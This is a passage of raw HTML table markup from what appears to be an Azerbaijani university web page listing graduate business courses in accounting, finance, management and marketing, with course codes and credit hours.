colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ACC 801</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Maliyyə mühasibat uçotu</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 810</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Strateji biznes ünsiyyət</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 820 və ya</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 800</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Qərarların qəbul edilməsinin əsasları</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Tətbiqi biznes statistikası</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 830</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Maliyyə menecmenti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ECON 830</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Menecment iqtisadiyyatı</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 830 or</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 832 və ya</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Menecment və təşkilati davranış</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Təşkilati davranış</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ACC 840</p></td><td width=\"56%\" colspan=\"2\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">İdarəetmənin mühasibat uçotu</p></td><td width=\"12%\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MKT 840 və ya</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MKT 810</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Marketinq menecmenti</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Marketinq siyasəti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 850</p></td><td width=\"56%\" colspan=\"2\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">İstehsalatın və əməliyyatların menecmenti&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">MGT 860</p></td><td width=\"56%\" colspan=\"2\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Strateji menecment</p></td><td width=\"12%\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" colspan=\"2\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"56%\" colspan=\"2\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"12%\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:6.95pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"87%\" colspan=\"4\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">İXTİSASLAŞMA FƏNLƏRİ&nbsp;(Tələbənin seçimindən asılıdır)</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:right;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">15</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Maliyyə</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Aşağıdakı fənlərdən beşi seçilməlidir:</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 835</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Bank menecmenti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 840</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Maliyyə menecmenti və siyasəti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\" width:31.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 845</p></td><td width=\"56%\" colspan=\"3\" width:56.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq maliyyə</p></td><td width=\"12%\" width:12.0%;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.45pt\";vertical-align:top\"=\"\" style=\"box-sizing: border-box; padding: 5px 5px 5px 10px; border-collapse: collapse; border-style: solid; vertical-align: top;\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 850</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Maliyyə qurumaları və bazarları</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 851</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">İnvestisiyalar menecmenti</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 855</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Vergiqoyma</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 890</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Korporativ maliyyə (ali)</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Mühasibat uçotu</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Aşağıdakı fənlərdən beşi seçilməlidir</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">&nbsp;</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ACC 810</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Audit</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ACC 820</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Xərclərin Strateji İdarə edilməsi</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">FIN 855</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Vergiqoyma</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ACC 860</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Mühasibat uçotunun informasiya sistemləri</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ACC 870</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Beynəlxalq maliyyə mühasibat uçotu təcrübəsi</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">ACC 880</p></td><td width=\"56%\" colspan=\"3\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">Mühasibat uçotunda mütərəqqi mövzular</p></td><td width=\"12%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;text-align:center;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37);\">3</p></td></tr><tr><td width=\"31%\"><p mso-margin-top-alt:auto;margin-right:3.75pt;margin-left:3.75pt;line-height:12.65pt\";margin-bottom:auto\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: 